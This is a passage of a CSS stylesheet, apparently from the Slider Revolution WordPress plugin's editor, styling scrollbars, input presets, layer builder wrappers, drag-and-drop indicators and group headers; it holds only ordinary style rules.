/*.ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999} */ /*! * perfect-scrollbar v1.4.0 b7bbc0 * (c) 2018 Hyunje Jun * @license MIT */ .rs__scrollbar-x-rail,.rs__scrollbar-y-rail{display:none;opacity:0;position:absolute}.ps{overflow:hidden!important;overflow-anchor:none;-ms-overflow-style:none;touch-action:auto;-ms-touch-action:auto}.rs__scrollbar-x-rail{transition:background-color .2s linear,opacity .2s linear;-webkit-transition:background-color .2s linear,opacity .2s linear;height:15px;bottom:0}.rs__scrollbar-y-rail{transition:background-color .2s linear,opacity .2s linear;-webkit-transition:background-color .2s linear,opacity .2s linear;width:15px;right:0}.ps--active-x>.rs__scrollbar-x-rail,.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps--focus>.rs__scrollbar-x-rail,.ps--focus>.rs__scrollbar-y-rail,.ps--scrolling-x>.rs__scrollbar-x-rail,.ps--scrolling-y>.rs__scrollbar-y-rail,.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps .rs__scrollbar-x-rail.ps--clicking,.ps .rs__scrollbar-x-rail:focus,.ps .rs__scrollbar-x-rail:hover,.ps .rs__scrollbar-y-rail.ps--clicking,.ps .rs__scrollbar-y-rail:focus,.ps .rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.rs__scrollbar-x,.rs__scrollbar-y{background-color:#aaa;border-radius:6px;position:absolute}.rs__scrollbar-x{transition:background-color .2s linear,height .2s ease-in-out;-webkit-transition:background-color .2s linear,height .2s ease-in-out;height:6px;bottom:2px}.rs__scrollbar-y{transition:background-color .2s linear,width .2s ease-in-out;-webkit-transition:background-color .2s linear,width .2s ease-in-out;width:6px;right:2px}.rs__scrollbar-x-rail.ps--clicking .rs__scrollbar-x,.rs__scrollbar-x-rail:focus>.rs__scrollbar-x,.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999;height:11px}.rs__scrollbar-y-rail.ps--clicking .rs__scrollbar-y,.rs__scrollbar-y-rail:focus>.rs__scrollbar-y,.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999;width:11px}@supports (-ms-overflow-style:none){.ps{overflow:auto!important}}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.ps{overflow:auto!important}} #rev_builder .rs__scrollbar-x-rail { z-index:10; height:0px; background: transparent !important;opacity: 0.2;} #rev_builder .ps--active-x .rs__scrollbar-x-rail { display: block; } #rev_builder .rs__scrollbar-x { background: rgb(32, 34, 36); opacity:0.3; height: 9px; border-radius: 7px; cursor: pointer;bottom: 8px; } #rev_builder .rs__scrollbar-x:hover { opacity: 1; } #rev_builder .rs__scrollbar-y-rail { z-index:10; height:0px; background: transparent !important; opacity: 0.2} #rev_builder .ps--active-y .rs__scrollbar-x-rail { display: block; } #rev_builder .rs__scrollbar-y { background: rgb(32, 34, 36); opacity:0.3; width: 9px; border-radius: 7px; right: 4px; cursor: pointer; } #rev_builder .rs__scrollbar-y:hover { opacity: 1; } #rev_builder:hover .rs__scrollbar-x-rail, #rev_builder:hover .rs__scrollbar-y-rail { opacity: 1; } #the_right_toolbar .rs__scrollbar-y-rail { z-index: 1500; width: 15px; background: transparent !important; display: none !important; } #the_right_toolbar .ps--active-y .rs__scrollbar-x-rail { display: block; } #the_right_toolbar .rs__scrollbar-y {background: #b7bbc0; opacity:0.3; width: 9px; border-radius: 7px; right:7px; cursor: pointer;} #the_right_toolbar .rs__scrollbar-y:hover { opacity: 1; } #tlLayerListWrap .rs__scrollbar-x-rail { z-index: 1600;height:30px;opacity: 1 !important;background: linear-gradient(to bottom, rgba(32,34,36,0) 0%,rgba(32,34,36,1) 75%) !important;} #tlLayerListWrap .ps--active-x .rs__scrollbar-x-rail { display: block; } #tlLayerListWrap .rs__scrollbar-x {background: #b7bbc0; opacity:0.5; height: 8px; border-radius: 7px; bottom: 6px; cursor: pointer;display: block !important; } #tlLayerListWrap .rs__scrollbar-x:hover { opacity: 1; } #rbm_layerimport_list .rs__scrollbar-y-rail, #tlLayerListWrap .rs__scrollbar-y-rail { z-index: 1600; width: 20px; background: #202224 !important; } #tlLayerListWrap .ps--active-y .rs__scrollbar-x-rail { display: block; } #tlLayerListWrap .rs__scrollbar-y { background: #b7bbc0; opacity:0.5; width: 8px; border-radius: 7px; right:6px; cursor: pointer;} #tlLayerListWrap .rs__scrollbar-y:hover { opacity: 1; } #timeline .ui-resizable-handle.ui-resizable-s { background: #2a3441 !important; height: 10px; bottom: 0px; } /************************************************************* - PRESET WRAP AND PRESET CONTAINER FOR INPUT FIELDS - *************************************************************/ .input_presets_wrap { display: inline-block;position: relative; } .input_presets_wrap.infocus { z-index: 200 } .input_presets { position: absolute; min-width: 100%; top:100%; margin-top:-10px; left:0px; background:#2a2c2f; display:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)} .input_preset { font-size: 13px; color: #b7bbc0; padding:6px 13px; top:100%;width:auto; line-height:18px; cursor: pointer; white-space: nowrap;} .input_preset:hover { background: #3f444a; color: #fff; } oneshort .input_presets { right: 0px !important; left:auto !important; } .ipwborder { border-bottom: 1px solid #323438; } .input_presets_wrap.infocus .input_presets { display: block; margin-bottom:65px;} .input_preset i.material-icons { font-size: 17px; margin-right: 10px !important; } .input_presets_dropdown { position: absolute; right: 0px; line-height: 30px !important; vertical-align: top; top: 0px; color: #777c80; font-size: 14px !important; border-left: 1px solid #323438; width: 15px !important; height: 30px !important; text-align: center; background: #2a2c2f; border-radius: 0px 4px 4px 0px; cursor: pointer; } #active_transitions_settings .input_presets_dropdown { width: 30px !important; } #responsive_infos_toolbar { min-width: 100px; border-radius: 4px; height: auto; line-height: 30px; color: #b7bbc0; background: #2a2c2f; font-size: 13px; padding:10px; box-sizing: border-box; position: absolute; z-index: 1000000; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)} #responsive_infos_toolbar .material-icons { font-size: 17px; line-height: 30px !important; width: 20px; text-align: center; vertical-align: top; margin-right: 5px; } #responsive_infos_toolbar .responsive_info_value { color: #b7bbc0; margin-right: 15px; display: inline-block; line-height: 30px; vertical-align: top; } #responsive_infos_toolbar .int_inher_title { color: #777c80; } /****************************** - WAIT A MINUTE - ******************************/ #waitaminute { box-sizing:border-box; -moz-box-sizing:border-box; display:none;position:fixed; top:0px; left:0px; z-index:10000000; background:#000; background:rgba(32,34,36,0.7); width:100%;height:100%;} .waitaminute-message { position:absolute; top:50%;width:100%;text-align: center; color:#fff; font-size:50px; font-weight: 600; line-height:60px; transform: translateY(-50%); font-family: "Open Sans",sans-serif;} .waitaminute-message i.eg-icon-emo-coffee, .waitaminute-message i.eg-icon-emo-coffee:before { color:#fff !important;margin-bottom:15px;} /****************************** - MEDIA FILTER GRID - *******************************/ #inst-filter-grid { display: block; margin-top: 20px; } .inst-filter-griditem:hover { border: 3px solid #fff; padding: 0; box-sizing: border-box; } .inst-filter-griditem.selected, .inst-filter-griditem.selected:hover { border: 3px solid #006dd2; padding: 0; box-sizing: border-box; } .inst-filter-griditem { cursor: pointer; position: relative; width: 52px; /*69*/ height: 52px; display: inline-block; margin-right: 5px; margin-bottom: 1px; } #inst-filter-grid .inst-filter-griditem:nth-child(5n) { margin-right: 0px; } .inst-filter-griditem .ifgname { display: none; } .inst-filter-griditem-img { z-index: 2; width: 100%; height: 100%; background-size: cover; background-position: center center; position: relative; } /****************************** - HTML LAYER STYLING - *******************************/ /*ACCESSOIRESS*/ ._borders_ { position: absolute;background: #000; display:none;} ._tb_ { top: 0px;left:0px;height: 1px; width: 100%; border-top:1px dashed #fff;} ._bb_ { bottom: 0px;left:0px;height: 1px; width:100%;border-bottom:1px dashed #fff} ._lb_ { top: 0px;left:0px;width: 1px; height:100%;border-left:1px dashed #fff} ._rb_ { top: 0px;right:0px;width: 1px; height:100%;border-right:1px dashed #fff} /* COLUMN AND ROW PADDING AND MARGIN DISPLAY */ ._c_paddings, ._c_margins { position:absolute; background:rgba(0,109,210,0.25); display:block; visibility:hidden; background-clip: content-box; box-sizing: border-box; pointer-events: none; z-index: 20;} ._c_margins { background: rgba(248,44,144,0.25);background-clip: content-box; } ._topm_, ._topp_ { top:0px;left:0px; width:100%; height:10px;} ._botm_, ._botp_ { bottom:0px;left:0px; width:100%; height:10px;} ._lefm_, ._lefp_ { top:0px;left:0px; height:100%; width:10px; } ._rigm_, ._rigp_ { top:0px;right:0px; height:100%; width:10px;} #rev_builder.inAnimationMode ._c_paddings, #rev_builder.inAnimationMode ._c_margins { background-color: rgba(94,53,177,0.25); } ._lc_mask { transform:none} /*._lc_.rs-linebreak ._lc_content_:before { content: "linebreak";text-align: center;width: 100%;height: 1px;position: absolute;left: 0px;font-size: 12px;line-height: 0px;top: 50%;margin-top:-1px;vertical-align: top;display: block; color:#006dd2;}*/ ._lc_.rs-linebreak ._lc_content_:after { content: " "; width: 100%;height: 100%; position: absolute;top: 0px;left: 0px; background:rgba(248,44,144,0.25); display:none;} ._lc_._lc_type_column:hover ._lc_.rs-linebreak ._lc_content_:after, ._lc_._lc_type_row:hover ._lc_.rs-linebreak ._lc_content_:after, ._lc_._lc_type_column.selected ._lc_.rs-linebreak ._lc_content_:after, ._lc_._lc_type_row.selected ._lc_.rs-linebreak ._lc_content_:after { display: block; } ._lc_._lc_type_row:hover >._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._c_paddings, ._lc_._lc_type_row.selected >._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._c_paddings, ._lc_._lc_type_row:hover >._c_paddings, ._lc_._lc_type_row.selected >._c_paddings, ._lc_._lc_type_row:hover >._c_margins, ._lc_._lc_type_row.selected >._c_margins, ._lc_._lc_type_column:hover ._c_paddings, ._lc_._lc_type_column.selected ._c_paddings, ._lc_._lc_type_column:hover ._c_margins, ._lc_._lc_type_column.selected ._c_margins { display: block; visibility: visible } ._lc_hordistance, ._lc_verdistance {position: absolute; display:none;z-index:1000; opacity:0.5;} ._lc_hordistance .material-icons, ._lc_verdistance .material-icons { color: #006dd2; position: absolute; font-size: 25px } ._lc_verdistance { width: 1px;height: 100px; border-left:1px dotted #006dd2;} ._lc_hordistance { height: 1px;width: 100px; border-top:1px dotted #006dd2;} ._lc_ >.ui-resizable-handle { width:7px;height:7px; background:transparent; border:none; border-radius: 50%;display:none !important;} ._lc_.selected >.ui-resizable-handle { display: block !important; z-index:15;} ._lc_ >.ui-resizable-n { top:-3px;left:0;width:100%;height:6px;} ._lc_ >.ui-resizable-s { bottom:-3px;left:0;width:100%;height:6px;} ._lc_ >.ui-resizable-e { top:0;height:100%;right:-3px;width:6px;} ._lc_ >.ui-resizable-w { top:0;height:100%;left:-3px;width:6px;} ._lc_ >.ui-resizable-n:before, ._lc_ >.ui-resizable-s:before, ._lc_ >.ui-resizable-e:before, ._lc_ >.ui-resizable-w:before { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); width: 7px; height: 7px; border-radius: 50%; background: #fff; border: 1px solid #000; content: " "; } .dropSensorActive ._lc_ { /*filter: blur(5px); */opacity: 0.5; } .dropSensorActive ._lc_.selected, .dropSensorActive ._lc_.selected ._lc_, .dropSensorActive ._lc_type_row ._lc_, .dropSensorActive ._lc_.ui-draggable-dragging, .dropSensorActive ._lc_.ui-draggable-dragging ._lc_, .dropSensorActive ._lc_.dont_blur, .dropSensorActive .drop_in_root>._lc_, .dropSensorActive ._lc_.dont_blur ._lc_ { opacity: 1; } ._lc_video_title_ { width: 100%; height: 25px; line-height: 25px; color: #fff; background: #006dd2; font-size: 12px; padding: 0px 5px; position: absolute; bottom: 0px;left: 0px; z-index: 2; text-transform: uppercase; text-align: center; font-weight: 600 } ._lc_video_placeholder_ { position: absolute; display:block; width: 100%;height: 100%; top: 0px; left: 0px } #rev_builder.inAnimationMode ._lc_video_title_ { background:rgba(94,53,177,0.75); } /*WRAP LEVEL 0*/ ._lc_ { position:absolute; width:auto;height:auto;box-sizing: border-box; cursor:move; line-height: 0} ._lc_.hoveredinlist { z-index: 1500 !important; visibility: visible !important; } ._lc_.closetotop .toolcrumb { top: 100%; } /* COMMON HOVERS */ ._lc_.hoveredinlist>._borders_, ._lc_:hover>._borders_, ._lc_.selected>._borders_, ._lc_.ui-draggable-dragging>._borders_ { display: block; z-index: 10} /* NONE SELECTED HOVERS */ .layersInDragorResize ._lc_type_group, ._lc_.selected._lc_type_group, ._lc_._lc_type_group:hover, ._lc_type_group.hasSelectedChild { box-shadow: 0px 0px 0px 1px #006dd2;} #rev_builder.inAnimationMode .layersInDragorResize ._lc_type_group, #rev_builder.inAnimationMode ._lc_.selected._lc_type_group, #rev_builder.inAnimationMode ._lc_._lc_type_group:hover { box-shadow: none !important } /*._lc_._lc_type_group.nocontent*/ .layersInDragorResize ._lc_type_row, .layersInDragorResize ._lc_type_column, ._lc_._lc_type_row.nocontent, ._lc_._lc_type_row.nocontent ._lc_._lc_type_column { box-shadow:0px 0px 0px 1px #006dd2; } ._lc_._lc_type_row.nocontent>._lc_loop_> ._lc_mask_ > ._lc_iw_ > ._lc_content_ { min-height: 100px !important } ._lc_.hoveredinlist>._borders_, ._lc_:hover>._borders_ { background: transparent; border-color: transparent; } #rev_builder.inAnimationMode ._lc_.hoveredinlist.selected>._borders_, #rev_builder.inAnimationMode ._lc_:hover>._borders_ { background: #000; border-color: #fff; } ._lc_:hover._lc_type_group { box-shadow: 0px 0px 0px 2px #006dd2;} ._lc_:hover, ._lc_.nocontent:hover, ._lc_.hoveredinlist, ._lc_.nocontent.hoveredinlist, ._lc_._lc_type_row.nocontent ._lc_._lc_type_column:hover { box-shadow:0px 0px 0px 2px #006dd2;} .nohiglightboxes ._lc_._lc_type_row.nocontent, .nohiglightboxes ._lc_._lc_type_row.nocontent ._lc_._lc_type_column, .nohiglightboxes ._lc_:hover._lc_type_group, .nohiglightboxes ._lc_:hover, .nohiglightboxes ._lc_.nocontent:hover, .nohiglightboxes ._lc_.hoveredinlist, .nohiglightboxes ._lc_.nocontent.hoveredinlist, .nohiglightboxes ._lc_._lc_type_row.nocontent ._lc_._lc_type_column:hover { box-shadow:none !important} .nohiglightboxes ._group_head_, .nohiglightboxes ._c_paddings, .nohiglightboxes ._c_margins { visibility: hidden !important } ._lc_.actionDependent { box-shadow:0px 0px 0px 1px #f82c90; } ._lc_.actionDependent.actionselected { box-shadow:0px 0px 0px 3px #f82c90; } #rb_tlw ._lc_ i { font-size: inherit; line-height: inherit } ._lc_._lc_type_row:hover { z-index: 10000 !important } ._lc_._lc_type_column:hover { z-index: 10010 !important } /* DROP SENSOR , MANIOULATE DROPPABLE TARGETS */ .dropSensorActive ._lc_.drop_over_layer ._lc_type_column { outline: 1px solid #006dd2; opacity: 0.5; vertical-align: top;} .dropSensorActive ._lc_.drop_over_layer { box-shadow: 0px 0px 0px 5px #006dd2; } .dropSensorActive ._lc_.drop_over_layer ._lc_group_placeholder { display: none; } .dropSensorActive ._lc_.drop_over_layer ._lc_type_column.drop_over_layer { outline: 2px solid #006dd2; opacity:1;} .dropSensorActive ._lc_type_column.drop_before_firstlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_:first-child:before, .dropSensorActive ._lc_type_group.drop_before_firstlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_._lc_i_rel:first-child:before, .dropSensorActive ._lc_type_column.drop_after_lastlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_:last-child:after, .dropSensorActive ._lc_type_row ._lc_.drop_before_layer:before, .dropSensorActive ._lc_type_group ._lc_.drop_before_layer:before { content: " "; position: absolute; width: 100%; height: 5px; background: #006dd2; z-index: 100; display:block; left: 0px; top:-5px;} .dropSensorActive ._lc_type_row ._lc_.drop_before_layer:after, .dropSensorActive ._lc_type_group.drop_before_firstlayer >._lc_loop_ > ._lc_mask_ >._lc_iw_ >._lc_content_ >._lc_._lc_i_rel:first-child:after, .dropSensorActive ._lc_type_group ._lc_.drop_before_layer:after { content: " "; position: absolute; width: 5px; height: 100%; left: -5px; background:#006dd2; z-index:100; display: block; top:0px;} .dropSensorActive ._lc_type_row ._lc_.drop_after_layer:after, .dropSensorActive ._lc_type_group ._lc_.drop_after_layer:after { content: " "; position: absolute; width: 100%; height: 5px; background: #006dd2; z-index: 100; display:block; left:0px; bottom:-5px;} .dropSensorActive ._lc_type_row ._lc_.drop_after_layer:before, .dropSensorActive ._lc_type_group ._lc_.drop_after_layer:before { content: " "; position: absolute; width: 5px; height: 100%; right: -5px; background:#006dd2; z-index:100; display: block; top:0px; } .rel_layer_in_drag ._lc_type_group.drop_over_layer ._lc_i_abs, .abs_layer_in_drag ._lc_type_group.drop_over_layer ._lc_i_rel { opacity:0.3 !important} .debug_coordinates span { display:inline-block;min-width:40px;color:#fff;line-height:15px; font-size:12px; margin-left:10px;} /* SELECTED HOVERS */ ._lc_.hoveredinlist.selected>._borders_, ._lc_.selected:hover>._borders_ { background: #000; border-color: #fff; } /*._lc_.selected:hover, ._lc_.selected.hoveredinlist { outline:none; }*/ /*WRAP LEVEL 1*/ ._lc_loop_, ._lc_mask_ { position: relative; width:auto;height:auto;box-sizing: border-box;z-index: 1; vertical-align: inherit;} /*WRAP LEVEL 2*/ ._lc_iw_ { position: relative; width:auto;height:auto;box-sizing: border-box; vertical-align: inherit;} /*WRAP LEVEL 3*/ ._lc_content_ { position: relative; width:auto;height:auto;box-sizing: border-box; vertical-align: inherit} ._lc_image_inside_ { width: 100%;height:100%; z-index: 2; position: relative; vertical-align: top; -webkit-touch-callout: none; /* iOS Safari */ -webkit-user-select: none; /* Safari */ -khtml-user-select: none; /* Konqueror HTML */ -moz-user-select: none; /* Old versions of Firefox */ -ms-user-select: none; /* Internet Explorer/Edge */ user-select: none; } ._lc_img_placeholder { z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:none; top:0px; left:0px; overflow:hidden;} ._lc_img_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;} ._lc_stream_placeholder { z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:none; top:0px; left:0px; overflow:hidden;} ._lc_stream_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;} .placeholder_on>._lc_stream_placeholder, .placeholder_on>._lc_img_placeholder { display: block; } ._lc_type_shape ._lc_content_.placeholder_on { background: none !important; } ._lc_group_placeholder { z-index: 1; position: absolute; width:100%;height:100%; background:rgba(0,109,210,0.75); display:block; top:0px; left:0px;} ._lc_group_placeholder i.material-icons { position: absolute; top: 50%;left: 50%; font-size: 50px !important; transform: translateX(-50%) translateY(-50%); color:#fff;} ._lc_type_group>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_>._lc_+._lc_group_placeholder { display: none; } ._lc_type_group>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_ { position: relative} ._lc_type_group>._lc_loop_, ._lc_type_group>._lc_loop_>._lc_mask_ { height:100%} #rev_builder.inAnimationMode ._lc_group_placeholder, #rev_builder.inAnimationMode ._lc_img_placeholder { background:rgba(94,53,177,0.75); } /* GROUP LAYER AND ITS LOCK/UNLOCK FEATURE */ ._group_head_ { display:none; width: 100%; height: 25px; top: -29px; left: -2px;border:2px solid transparent; z-index: 80; background: #006dd2; line-height: 25px; font-size: 13px; color: #fff; padding: 0px 0px; position: absolute; overflow: hidden; box-sizing:content-box !important; } ._lc_type_group ._lc_type_group:first-child>._group_head_ { top:0px} ._group_head_title_ { overflow: hidden;white-space: nowrap; width:100%; position: absolute; top:0px; left:0px; padding: 0px 25px 0px 10px;z-index:5;} ._group_head_title_ .norm_text_block { line-height: 25px; font-size: 13px; color: #fff;} ._group_head_title_ .sub_text_block { line-height: 25px; font-size: 13px; color: rgba(255,255,255,0.5);} ._lc_type_group ._group_lock_ { display:none; z-index: 5000; width: 100%; height: 100%; background: transparent; position: absolute;top: 0px;left: 0px; cursor: move; } ._group_lock_ i.material-icons { position: absolute;left: 50%;top: 50%;transform: translateX(-50%) translateY(-50%);font-size: 40px !important; line-height: 40px !important; opacity: 0.5;} ._group_lock_toggle_ { z-index:10;width: 25px; height: 25px; position: absolute; right: 0px; top: 0px; cursor: pointer; text-align: center; background:#006dd2; border-left: 1px solid rgba(255,255,255,0.1);} #rb_tlw i.material-icons.group_lock_icon { display: none; } #rb_tlw i.material-icons.group_lockopen_icon { display: inline-block; } #rb_tlw ._lc_type_group._group_locked_ i.material-icons.group_lockopen_icon { display: none } #rb_tlw ._lc_type_group._group_locked_ i.material-icons.group_lock_icon { display: inline-block } ._lc_type_group.selected._group_locked_ ._group_lock_, ._lc_type_group._group_locked_:hover ._group_lock_ { display: block; } .layersInDragorResize ._lc_type_group ._group_head_, ._lc_type_group:hover>._group_head_, ._lc_type_group.selected>._group_head_, ._lc_type_group.hasSelectedChild>._group_head_ { display: block; } ._lc_type_group ._lc_type_group ._group_head_ { display:none !important} ._group_head_:hover { opacity: 1 } ._lc_type_video ._lc_img_placeholder i { margin-top: -10px; } ._lc_type_audio audio { display: none; pointer-events: none; width: 100%; height: 100%; } ._lc_type_audio .audio_controls_on audio { display: block; } #media_audio_wave_wrap { position: relative; width: 100%; box-sizing: border-box;} #media_audio_master { border: 1px solid #3f444a; height:30px; box-sizing: border-box; min-width:245px; max-width: 245px; width: 245px; position: absolute;top:0px; left:35px; border-radius: 3px} #audio_simulator.disabled { pointer-events: none; opacity: 0.5; } .wavesurfer-region { box-sizing: border-box; background:transparent;} .wavesurfer-handle-start { width: 6px; border-left: 2px solid #006dd2; border-top:2px solid #006dd2; border-bottom:2px solid #006dd2; height:25px !important;} .wavesurfer-handle-end { width: 6px; border-right: 2px solid #006dd2; border-top:2px solid #006dd2; border-bottom:2px solid #006dd2; max-width: 6px; left:auto !important; right:0px; height:25px !important;} /* LC TYPES */ ._lc_type_row { width: 100%;position: relative; cursor: pointer; pointer-events: auto} ._lc_type_row ._lc_ { position: relative;} ._lc_type_row>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_ { display: table; width: 100%; } ._lc_type_column { display: table-cell;width: 100%; vertical-align: top; cursor:pointer;} ._lc_extra_bg_wrap, ._lc_extra_bg { position: absolute;z-index: 0; background: transparent;} ._lc_type_group ._lc_extra_bg { top: 0px; left: 0px; } ._lc_type_video ._lc_loop_, ._lc_type_video ._lc_mask_, ._lc_type_video ._lc_iw_, ._lc_type_shape ._lc_loop_, ._lc_type_shape ._lc_mask_, ._lc_type_shape ._lc_iw_, ._lc_type_image ._lc_loop_, ._lc_type_image ._lc_mask_, ._lc_type_image ._lc_iw_ { width: 100%; height: 100%; } /* ROW WRAPPERS */ .row_wrapper_top, .row_wrapper_middle, .row_wrapper_bottom { position: absolute;height: auto;left: 0px;width: 100%; z-index: 3; box-sizing: border-box; pointer-events: none;} .row_wrapper_middle { top: 50%;transform: translateY(-50%);} .row_wrapper_top { top: 0px;} .row_wrapper_bottom { top: auto; bottom:0px;} /* perfect scrollbar fix */ #rev_builder_inner {position: relative; height:auto; /*KRIKI*/} #rev_builder_inner.hide_all_nonezone .layer_grid>._lc_, #rev_builder_inner.hide_all_zone .row_wrapper_top, #rev_builder_inner.hide_all_zone .row_wrapper_middle, #rev_builder_inner.hide_all_zone .row_wrapper_bottom { pointer-events: none !important; opacity: 0.2 !important; } /* DRAGGING LAYERS */ ._lc_.ui-draggable-dragging { z-index: 500; opacity: 1; box-shadow: 0px 15px 50px 0px rgba(0,0,0,0.25); } #dropSensor { display: none; position: absolute; top: 0px;left: 0px;width: 100%;height: 100%; background: transparent } #rev_slider_ul_inner.dropSensorActive #dropSensor { display: block;z-index:499 } ._lc_._locked_ { pointer-events: none; } ._lc_>._lc_locked_bg_{ display: none; z-index:50; position:absolute; top:0px; left:0px; width:100%; height:100%; outline:1px solid rgba(255,0,0,0.25); background: transparent; /*url(../images/red_diag2x.png); background-size: 10px 10px; background-repeat: repeat; */} ._lc_>._lc_locked_ { z-index:51; display:none;position: absolute; left:50%;top:50%; margin-left: -10px; margin-top: -10px; color:#fff; text-shadow:0px 2px rgba(0,0,0,0.5); font-size: 20px} ._lc_._locked_ >._lc_locked_bg_ { display: block; } /*._lc_._locked_ >._lc_locked_ { display: block; }*/ ._lc_._unvisible_ { visibility: hidden !important; pointer-events: none !important; opacity: 0 !important;} ._lc_._unvisible_.hoveredinlist { visibility: visible !important;opacity: 1 !important; } /* LAYER INPOUT FIELDS - EXTRAS */ #rev_builder.inAnimationMode ._lc_:hover>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before, #rev_builder.inAnimationMode ._lc_.selected>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before, #rev_builder.inAnimationMode ._lc_.hoveredinlist>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before { content:" "; width:100%;height:100%; box-sizing:border-box; top:0px; left:0px; border:2px solid #5e35b1; position: absolute;z-index:50; pointer-events: none} #the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_:hover>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before, #the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_.selected>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before, #the_editor.nohiglightboxes #rev_builder.inAnimationMode ._lc_.hoveredinlist>._lc_loop_>._lc_mask_>._lc_iw_>._lc_content_:before { display: none !important; } #rev_builder.inAnimationMode ._lc_:hover, 